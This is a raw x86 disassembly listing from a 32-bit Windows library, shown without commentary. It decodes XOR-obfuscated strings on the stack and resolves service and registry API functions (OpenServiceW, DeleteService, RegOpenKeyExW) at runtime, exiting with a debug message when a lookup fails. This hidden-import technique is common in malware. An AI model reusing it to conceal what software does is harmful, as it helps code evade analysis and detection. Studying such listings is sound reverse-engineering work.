movups xmmword [esp + 0x1375], xmm0
mov dword [esp + 0x1395], 0xf5ece1d6
movaps xmm0, xmmword [0x1009d810]
movups xmmword [esp + 0x1385], xmm0
mov dword [esp + 0x1399], 0xd7f8c5e5
mov dword [esp + 0x139d], 0xe9e1c6a0
mov word [esp + 0x13a1], 0xec
nop dword [eax]
mov al, byte [esp + 0x1375]
xor byte [esp + ecx + 0x1376], al
inc ecx
cmp ecx, 0x2c
jl 0x100170d0
lea eax, [esp + 0x1376]
mov byte [esp + 0x13a2], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x113], 0xe7e5d280
mov dword [esp + 0x117], 0xf3efecc3
xor eax, eax
mov dword [esp + 0x11b], 0xf9e5cbe5
mov byte [esp + 0x11f], 0
nop
xor byte [esp + eax + 0x114], cl
inc eax
cmp eax, 0xb
jge 0x10017146
mov cl, byte [esp + 0x113]
jmp 0x10017130
lea eax, [esp + 0x114]
mov byte [esp + 0x11f], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac30c], eax
test eax, eax
jne 0x100171e2
movaps xmm0, xmmword [0x1009d250]
movups xmmword [esp + 0xb5a], xmm0
mov dword [esp + 0xb7a], 0xc09985ab
movaps xmm0, xmmword [0x1009d290]
movups xmmword [esp + 0xb6a], xmm0
mov dword [esp + 0xb7e], 0x8c8981a6
mov byte [esp + 0xb82], cl
mov al, byte [esp + 0xb5a]
xor byte [esp + ecx + 0xb5b], al
inc ecx
cmp ecx, 0x27
jl 0x100171b0
lea eax, [esp + 0xb5b]
mov byte [esp + 0xb82], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d3a0]
movups xmmword [esp + 0x5cf], xmm0
mov dword [esp + 0x5df], 0xb5aca196
mov word [esp + 0x5e3], 0x97a5
mov byte [esp + 0x5e5], 0
nop
mov al, byte [esp + 0x5cf]
xor byte [esp + ecx + 0x5d0], al
inc ecx
cmp ecx, 0x15
jl 0x10017210
lea eax, [esp + 0x5d0]
mov byte [esp + 0x5e5], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac310], eax
test eax, eax
jne 0x100172c3
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0x1792], xmm0
mov word [esp + 0x17c2], 0xc09
movaps xmm0, xmmword [0x1009cb00]
movups xmmword [esp + 0x17a2], xmm0
mov byte [esp + 0x17c4], cl
movaps xmm0, xmmword [0x1009ca30]
movups xmmword [esp + 0x17b2], xmm0
mov al, byte [esp + 0x1792]
xor byte [esp + ecx + 0x1793], al
inc ecx
cmp ecx, 0x31
jl 0x10017291
lea eax, [esp + 0x1793]
mov byte [esp + 0x17c4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d1e0]
movups xmmword [esp + 0x5e6], xmm0
mov dword [esp + 0x5f6], 0x67656c69
mov word [esp + 0x5fa], 0x7365
mov byte [esp + 0x5fc], 0
nop
mov al, byte [esp + 0x5e6]
xor byte [esp + ecx + 0x5e7], al
inc ecx
cmp ecx, 0x15
jl 0x100172f0
lea eax, [esp + 0x5e7]
mov byte [esp + 0x5fc], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac314], eax
test eax, eax
jne 0x100173a3
movaps xmm0, xmmword [0x1009d4b0]
movups xmmword [esp + 0x17c5], xmm0
mov word [esp + 0x17f5], 0xccc9
movaps xmm0, xmmword [0x1009d550]
movups xmmword [esp + 0x17d5], xmm0
mov byte [esp + 0x17f7], cl
movaps xmm0, xmmword [0x1009d480]
movups xmmword [esp + 0x17e5], xmm0
mov al, byte [esp + 0x17c5]
xor byte [esp + ecx + 0x17c6], al
inc ecx
cmp ecx, 0x31
jl 0x10017371
lea eax, [esp + 0x17c6]
mov byte [esp + 0x17f7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009c9d0]
movups xmmword [esp + 0x2f1], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x2f1]
xor byte [esp + ecx + 0x2f2], al
inc ecx
cmp ecx, 0xe
jl 0x100173c0
lea eax, [esp + 0x2f2]
mov byte [esp + 0x300], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac318], eax
test eax, eax
jne 0x10017482
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x10d4], xmm0
mov dword [esp + 0x10f4], 0xa5a7a1ae
movaps xmm0, xmmword [0x1009d330]
movups xmmword [esp + 0x10e4], xmm0
mov dword [esp + 0x10f8], 0x86e097b2
mov dword [esp + 0x10fc], 0xaca9a1
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x10d4]
xor byte [esp + ecx + 0x10d5], al
inc ecx
cmp ecx, 0x2a
jl 0x10017450
lea eax, [esp + 0x10d5]
mov byte [esp + 0x10ff], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d040]
movups xmmword [esp + 0x4ba], xmm0
mov dword [esp + 0x4ca], 0x656c64
nop dword [eax]
mov al, byte [esp + 0x4ba]
xor byte [esp + ecx + 0x4bb], al
inc ecx
cmp ecx, 0x12
jl 0x100174a0
lea eax, [esp + 0x4bb]
mov byte [esp + 0x4cd], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac31c], eax
test eax, eax
jne 0x10017542
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x1575], xmm0
movaps xmm0, xmmword [0x1009d430]
movups xmmword [esp + 0x1585], xmm0
movaps xmm0, xmmword [0x1009c9a0]
movups xmmword [esp + 0x1595], xmm0
nop dword [eax]
mov al, byte [esp + 0x1575]
xor byte [esp + ecx + 0x1576], al
inc ecx
cmp ecx, 0x2e
jl 0x10017510
lea eax, [esp + 0x1576]
mov byte [esp + 0x15a4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cb40]
movups xmmword [esp + 0x521], xmm0
mov dword [esp + 0x531], 0x17333534
mov byte [esp + 0x535], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x521]
xor byte [esp + ecx + 0x522], al
inc ecx
cmp ecx, 0x13
jl 0x10017570
lea eax, [esp + 0x522]
mov byte [esp + 0x535], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac320], eax
test eax, eax
jne 0x10017622
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0x1668], xmm0
mov byte [esp + 0x1698], al
movaps xmm0, xmmword [0x1009d5d0]
movups xmmword [esp + 0x1678], xmm0
movaps xmm0, xmmword [0x1009d520]
movups xmmword [esp + 0x1688], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1668]
xor byte [esp + ecx + 0x1669], al
inc ecx
cmp ecx, 0x2f
jl 0x100175f0
lea eax, [esp + 0x1669]
mov byte [esp + 0x1698], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x170], 0x65704f00
mov dword [esp + 0x174], 0x7265536e
xor eax, eax
mov dword [esp + 0x178], 0x65636976
mov word [esp + 0x17c], 0x57
xor byte [esp + eax + 0x171], cl
inc eax
cmp eax, 0xc
jge 0x10017667
mov cl, byte [esp + 0x170]
jmp 0x10017651
lea eax, [esp + 0x171]
mov byte [esp + 0x17d], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac324], eax
test eax, eax
jne 0x10017712
movaps xmm0, xmmword [0x1009cef0]
movups xmmword [esp + 0xc7b], xmm0
mov dword [esp + 0xc9b], 0x57656369
movaps xmm0, xmmword [0x1009d1f0]
movups xmmword [esp + 0xc8b], xmm0
mov dword [esp + 0xc9f], 0x69614620
mov word [esp + 0xca3], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xc7b]
xor byte [esp + ecx + 0xc7c], al
inc ecx
cmp ecx, 0x28
jl 0x100176e0
lea eax, [esp + 0xc7c]
mov byte [esp + 0xca4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d3e0]
movups xmmword [esp + 0x536], xmm0
mov dword [esp + 0x546], 0x97a7a9a6
mov byte [esp + 0x54a], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x536]
xor byte [esp + ecx + 0x537], al
inc ecx
cmp ecx, 0x13
jl 0x10017740
lea eax, [esp + 0x537]
mov byte [esp + 0x54a], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac328], eax
test eax, eax
jne 0x100177f2
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x1699], xmm0
mov byte [esp + 0x16c9], al
movaps xmm0, xmmword [0x1009ce00]
movups xmmword [esp + 0x16a9], xmm0
movaps xmm0, xmmword [0x1009cd90]
movups xmmword [esp + 0x16b9], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1699]
xor byte [esp + ecx + 0x169a], al
inc ecx
cmp ecx, 0x2f
jl 0x100177c0
lea eax, [esp + 0x169a]
mov byte [esp + 0x16c9], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x22b], 0xe1f4d380
mov dword [esp + 0x22f], 0xe5d3f4f2
xor eax, eax
mov dword [esp + 0x233], 0xe3e9f6f2
mov word [esp + 0x237], 0xd7e5
mov byte [esp + 0x239], 0
nop dword [eax]
xor byte [esp + eax + 0x22c], cl
inc eax
cmp eax, 0xd
jge 0x10017846
mov cl, byte [esp + 0x22b]
jmp 0x10017830
lea eax, [esp + 0x22c]
mov byte [esp + 0x239], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac32c], eax
test eax, eax
jne 0x100178f2
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0xea2], xmm0
mov dword [esp + 0xec2], 0x45434956
movaps xmm0, xmmword [0x1009cdf0]
movups xmmword [esp + 0xeb2], xmm0
mov dword [esp + 0xec6], 0x41660077
mov word [esp + 0xeca], 0x4c49
mov byte [esp + 0xecc], cl
nop word [eax + eax]
mov al, byte [esp + 0xea2]
xor byte [esp + ecx + 0xea3], al
inc ecx
cmp ecx, 0x29
jl 0x100178c0
lea eax, [esp + 0xea3]
mov byte [esp + 0xecc], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009ca10]
movups xmmword [esp + 0x301], xmm0
mov al, byte [esp + 0x301]
xor byte [esp + ecx + 0x302], al
inc ecx
cmp ecx, 0xe
jl 0x10017901
lea eax, [esp + 0x302]
mov byte [esp + 0x310], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac330], eax
test eax, eax
jne 0x100179b2
movaps xmm0, xmmword [0x1009d370]
xor ecx, ecx
movups xmmword [esp + 0x1100], xmm0
mov dword [esp + 0x1120], 0xa9b6b2a5
movaps xmm0, xmmword [0x1009d300]
movups xmmword [esp + 0x1110], xmm0
mov dword [esp + 0x1124], 0x86e0a5a3
mov dword [esp + 0x1128], 0xaca9a1
nop
mov al, byte [esp + 0x1100]
xor byte [esp + ecx + 0x1101], al
inc ecx
cmp ecx, 0x2a
jl 0x10017980
lea eax, [esp + 0x1101]
mov byte [esp + 0x112b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x23a], 0x6c654400
mov dword [esp + 0x23e], 0x53657465
xor eax, eax
mov dword [esp + 0x242], 0x69767265
mov word [esp + 0x246], 0x6563
mov byte [esp + 0x248], cl
nop dword [eax + eax]
xor byte [esp + eax + 0x23b], cl
inc eax
cmp eax, 0xd
jge 0x10017a06
mov cl, byte [esp + 0x23a]
jmp 0x100179f0
lea eax, [esp + 0x23b]
mov byte [esp + 0x248], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac334], eax
test eax, eax
jne 0x10017ab2
movaps xmm0, xmmword [0x1009d4b0]
movups xmmword [esp + 0xecd], xmm0
mov dword [esp + 0xeed], 0xc3c9d6d2
movaps xmm0, xmmword [0x1009d4e0]
movups xmmword [esp + 0xedd], xmm0
mov dword [esp + 0xef1], 0xc1e680c5
mov word [esp + 0xef5], 0xccc9
mov byte [esp + 0xef7], cl
nop word [eax + eax]
mov al, byte [esp + 0xecd]
xor byte [esp + ecx + 0xece], al
inc ecx
cmp ecx, 0x29
jl 0x10017a80
lea eax, [esp + 0xece]
mov byte [esp + 0xef7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d350]
movups xmmword [esp + 0x54b], xmm0
mov dword [esp + 0x55b], 0xa5b3a1a2
mov byte [esp + 0x55f], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x54b]
xor byte [esp + ecx + 0x54c], al
inc ecx
cmp ecx, 0x13
jl 0x10017ae0
lea eax, [esp + 0x54c]
mov byte [esp + 0x55f], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac338], eax
test eax, eax
jne 0x10017b92
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x16ca], xmm0
mov byte [esp + 0x16fa], cl
movaps xmm0, xmmword [0x1009ce60]
movups xmmword [esp + 0x16da], xmm0
movaps xmm0, xmmword [0x1009cd80]
movups xmmword [esp + 0x16ea], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x16ca]
xor byte [esp + ecx + 0x16cb], al
inc ecx
cmp ecx, 0x2f
jl 0x10017b60
lea eax, [esp + 0x16cb]
mov byte [esp + 0x16fa], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d600]
movups xmmword [esp + 0x5fd], xmm0
mov dword [esp + 0x60d], 0xe1e2e1f4
mov word [esp + 0x611], 0xe5f3
mov byte [esp + 0x613], 0
nop
mov al, byte [esp + 0x5fd]
xor byte [esp + ecx + 0x5fe], al
inc ecx
cmp ecx, 0x15
jl 0x10017bc0
lea eax, [esp + 0x5fe]
mov byte [esp + 0x613], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac33c], eax
test eax, eax
jne 0x10017c72
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x17f8], xmm0
mov word [esp + 0x1828], 0x4c49
movaps xmm0, xmmword [0x1009cd40]
movups xmmword [esp + 0x1808], xmm0
mov byte [esp + 0x182a], cl
movaps xmm0, xmmword [0x1009cc70]
movups xmmword [esp + 0x1818], xmm0
nop dword [eax]
mov al, byte [esp + 0x17f8]
xor byte [esp + ecx + 0x17f9], al
inc ecx
cmp ecx, 0x31
jl 0x10017c40
lea eax, [esp + 0x17f9]
mov byte [esp + 0x182a], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d050]
movups xmmword [esp + 0x58c], xmm0
mov dword [esp + 0x59c], 0x6769666e
mov word [esp + 0x5a0], 0x57
nop word [eax + eax]
mov al, byte [esp + 0x58c]
xor byte [esp + ecx + 0x58d], al
inc ecx
cmp ecx, 0x14
jl 0x10017ca0
lea eax, [esp + 0x58d]
mov byte [esp + 0x5a1], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac340], eax
test eax, eax
jne 0x10017d52
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0x16fb], xmm0
mov word [esp + 0x172b], 0x6c
movaps xmm0, xmmword [0x1009cf30]
movups xmmword [esp + 0x170b], xmm0
movaps xmm0, xmmword [0x1009cfb0]
movups xmmword [esp + 0x171b], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x16fb]
xor byte [esp + ecx + 0x16fc], al
inc ecx
cmp ecx, 0x30
jl 0x10017d20
lea eax, [esp + 0x16fc]
mov byte [esp + 0x172c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x249], 0x67655200
mov dword [esp + 0x24d], 0x6e65704f
xor eax, eax
mov dword [esp + 0x251], 0x4579654b
mov word [esp + 0x255], 0x5778
mov byte [esp + 0x257], cl
nop dword [eax + eax]
xor byte [esp + eax + 0x24a], cl
inc eax
cmp eax, 0xd
jge 0x10017da6
mov cl, byte [esp + 0x249]
jmp 0x10017d90
lea eax, [esp + 0x24a]
mov byte [esp + 0x257], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac344], eax
test eax, eax
jne 0x10017e52
movaps xmm0, xmmword [0x1009d4b0]
movups xmmword [esp + 0xef8], xmm0
mov dword [esp + 0xf18], 0xd8e5d9c5
movaps xmm0, xmmword [0x1009d6f0]
movups xmmword [esp + 0xf08], xmm0
mov dword [esp + 0xf1c], 0xc1e680f7
mov word [esp + 0xf20], 0xccc9
mov byte [esp + 0xf22], cl
nop word [eax + eax]
mov al, byte [esp + 0xef8]
xor byte [esp + ecx + 0xef9], al
inc ecx
cmp ecx, 0x29
jl 0x10017e20
lea eax, [esp + 0xef9]
mov byte [esp + 0xf22], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d210]
movups xmmword [esp + 0x400], xmm0
mov word [esp + 0x410], 0x57
nop dword [eax + eax]
mov al, byte [esp + 0x400]
xor byte [esp + ecx + 0x401], al
inc ecx
cmp ecx, 0x10
jl 0x10017e70
lea eax, [esp + 0x401]
mov byte [esp + 0x411], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac348], eax
test eax, eax
jne 0x10017f32
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x13a3], xmm0
mov dword [esp + 0x13c3], 0xefe6eec9
movaps xmm0, xmmword [0x1009d810]
movups xmmword [esp + 0x13b3], xmm0
mov dword [esp + 0x13c7], 0xd7f9e5cb
mov dword [esp + 0x13cb], 0xe9e1c6a0
mov word [esp + 0x13cf], 0xec
nop dword [eax]
mov al, byte [esp + 0x13a3]
xor byte [esp + ecx + 0x13a4], al
inc ecx
cmp ecx, 0x2c
jl 0x10017f00
lea eax, [esp + 0x13a4]
mov byte [esp + 0x13d0], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x258], 0xe7e5d280
mov dword [esp + 0x25c], 0xedf5eec5
xor eax, eax
mov dword [esp + 0x260], 0xc5f9e5cb
mov word [esp + 0x264], 0xd7f8
mov byte [esp + 0x266], 0
nop dword [eax]
xor byte [esp + eax + 0x259], cl
inc eax
cmp eax, 0xd
jge 0x10017f86
mov cl, byte [esp + 0x258]
jmp 0x10017f70
lea eax, [esp + 0x259]
mov byte [esp + 0x266], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac34c], eax
test eax, eax
jne 0x10018032
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0xf23], xmm0
mov dword [esp + 0xf43], 0x58655945
movaps xmm0, xmmword [0x1009d000]
movups xmmword [esp + 0xf33], xmm0
mov dword [esp + 0xf47], 0x41660077
mov word [esp + 0xf4b], 0x4c49
mov byte [esp + 0xf4d], al
nop word [eax + eax]
mov al, byte [esp + 0xf23]
xor byte [esp + ecx + 0xf24], al
inc ecx
cmp ecx, 0x29
jl 0x10018000
lea eax, [esp + 0xf24]
mov byte [esp + 0xf4d], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc0
mov dword [esp + 0x267], 0xa7a592c0
mov dword [esp + 0x26b], 0xadb5ae85
xor eax, eax
mov dword [esp + 0x26f], 0xb5aca196
mov word [esp + 0x273], 0x97a5
mov byte [esp + 0x275], 0
nop dword [eax]
xor byte [esp + eax + 0x268], cl
inc eax
cmp eax, 0xd
jge 0x10018086
mov cl, byte [esp + 0x267]
jmp 0x10018070
lea eax, [esp + 0x268]
mov byte [esp + 0x275], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac350], eax
test eax, eax
jne 0x10018132
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0xf4e], xmm0
mov dword [esp + 0xf6e], 0x5150c01
movaps xmm0, xmmword [0x1009cc60]
movups xmmword [esp + 0xf5e], xmm0
mov dword [esp + 0xf72], 0x1264037
mov word [esp + 0xf76], 0xc09
mov byte [esp + 0xf78], cl
nop word [eax + eax]
mov al, byte [esp + 0xf4e]
xor byte [esp + ecx + 0xf4f], al
inc ecx
cmp ecx, 0x29
jl 0x10018100
lea eax, [esp + 0xf4f]
mov byte [esp + 0xf78], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009ce70]
movups xmmword [esp + 0x373], xmm0
mov byte [esp + 0x383], 0
nop dword [eax]
mov al, byte [esp + 0x373]
xor byte [esp + ecx + 0x374], al
inc ecx
cmp ecx, 0xf
jl 0x10018150
lea eax, [esp + 0x374]
mov byte [esp + 0x383], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac354], eax
test eax, eax
jne 0x10018212
movaps xmm0, xmmword [0x1009d250]
movups xmmword [esp + 0x1236], xmm0
mov dword [esp + 0x1256], 0x9985ab85
movaps xmm0, xmmword [0x1009d310]
movups xmmword [esp + 0x1246], xmm0
mov dword [esp + 0x125a], 0xc0b798a5
mov dword [esp + 0x125e], 0x8c8981a6
mov byte [esp + 0x1262], cl
nop dword [eax]
mov al, byte [esp + 0x1236]
xor byte [esp + ecx + 0x1237], al
inc ecx
cmp ecx, 0x2b
jl 0x100181e0
lea eax, [esp + 0x1237]
mov byte [esp + 0x1262], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009c9f0]
movups xmmword [esp + 0x311], xmm0
mov al, byte [esp + 0x311]
xor byte [esp + ecx + 0x312], al
inc ecx
cmp ecx, 0xe
jl 0x10018221
lea eax, [esp + 0x312]
mov byte [esp + 0x320], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac358], eax
test eax, eax
jne 0x100182e2
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x112c], xmm0
mov dword [esp + 0x114c], 0x85a5b5ac
movaps xmm0, xmmword [0x1009d340]
movups xmmword [esp + 0x113c], xmm0
mov dword [esp + 0x1150], 0x86e097b8
mov dword [esp + 0x1154], 0xaca9a1
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x112c]
xor byte [esp + ecx + 0x112d], al
inc ecx
cmp ecx, 0x2a
jl 0x100182b0
lea eax, [esp + 0x112d]
mov byte [esp + 0x1157], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d5e0]
movups xmmword [esp + 0x384], xmm0
mov byte [esp + 0x394], 0
nop dword [eax]
mov al, byte [esp + 0x384]
xor byte [esp + ecx + 0x385], al
inc ecx
cmp ecx, 0xf
jl 0x10018300
lea eax, [esp + 0x385]
mov byte [esp + 0x394], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac35c], eax
test eax, eax
jne 0x100183c2
movaps xmm0, xmmword [0x1009ca60]
xor ecx, ecx
movups xmmword [esp + 0x1263], xmm0
mov dword [esp + 0x1283], 0xc013605
movaps xmm0, xmmword [0x1009cb20]
movups xmmword [esp + 0x1273], xmm0
mov dword [esp + 0x1287], 0x40370515
mov dword [esp + 0x128b], 0xc090126
mov byte [esp + 0x128f], al
nop dword [eax]
mov al, byte [esp + 0x1263]
xor byte [esp + ecx + 0x1264], al
inc ecx
cmp ecx, 0x2b
jl 0x10018390
lea eax, [esp + 0x1264]
mov byte [esp + 0x128f], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc0
mov dword [esp + 0x276], 0xa7a592c0
mov dword [esp + 0x27a], 0xa5aca584
xor eax, eax
mov dword [esp + 0x27e], 0xa58ba5b4
mov word [esp + 0x282], 0x97b9
mov byte [esp + 0x284], 0
nop dword [eax]
xor byte [esp + eax + 0x277], cl
inc eax
cmp eax, 0xd
jge 0x10018416
mov cl, byte [esp + 0x276]
jmp 0x10018400
lea eax, [esp + 0x277]
mov byte [esp + 0x284], 0
push eax
push dword [0x100ac24c]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac364], eax
test eax, eax
jne 0x100184c2
movaps xmm0, xmmword [0x1009ca60]
xor ecx, ecx
movups xmmword [esp + 0xf79], xmm0
mov dword [esp + 0xf99], 0x19052b05
movaps xmm0, xmmword [0x1009cb20]
movups xmmword [esp + 0xf89], xmm0
mov dword [esp + 0xf9d], 0x1264037
mov word [esp + 0xfa1], 0xc09
mov byte [esp + 0xfa3], al
nop word [eax + eax]
mov al, byte [esp + 0xf79]
xor byte [esp + ecx + 0xf7a], al
inc ecx
cmp ecx, 0x29
jl 0x10018490
lea eax, [esp + 0xf7a]
mov byte [esp + 0xfa3], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac250]
test edx, edx
je 0x100185b3
movaps xmm0, xmmword [0x1009d140]
xor ecx, ecx
movups xmmword [esp + 0x73c], xmm0
mov dword [esp + 0x74c], 0x70697263
mov dword [esp + 0x750], 0x6e6f6974
mov word [esp + 0x754], 0x57
mov al, byte [esp + 0x73c]
xor byte [esp + ecx + 0x73d], al
inc ecx
cmp ecx, 0x18
jl 0x10018501
lea eax, [esp + 0x73d]
mov byte [esp + 0x755], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac36c], eax
test eax, eax
jne 0x100185b3
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x19ce], xmm0
mov dword [esp + 0x19fe], 0xe9e1c6a0
movaps xmm0, xmmword [0x1009d770]
movups xmmword [esp + 0x19de], xmm0
mov word [esp + 0x1a02], 0xec
movaps xmm0, xmmword [0x1009d5f0]
movups xmmword [esp + 0x19ee], xmm0
mov al, byte [esp + 0x19ce]
xor byte [esp + ecx + 0x19cf], al
inc ecx
cmp ecx, 0x34
jl 0x10018581
lea eax, [esp + 0x19cf]
mov byte [esp + 0x1a03], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac254]
test edx, edx
je 0x1001a2c2
mov cl, 0x40
mov dword [esp + 0x285], 0x29380540
mov dword [esp + 0x289], 0x2e291734
xor eax, eax
mov dword [esp + 0x28d], 0x33372f24
mov word [esp + 0x291], 0x3805
mov byte [esp + 0x293], 0
nop dword [eax + eax]
xor byte [esp + eax + 0x286], cl
inc eax
cmp eax, 0xd
jge 0x10018616
mov cl, byte [esp + 0x285]
jmp 0x10018600
lea eax, [esp + 0x286]
mov byte [esp + 0x293], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac370], eax
test eax, eax
jne 0x100186c2
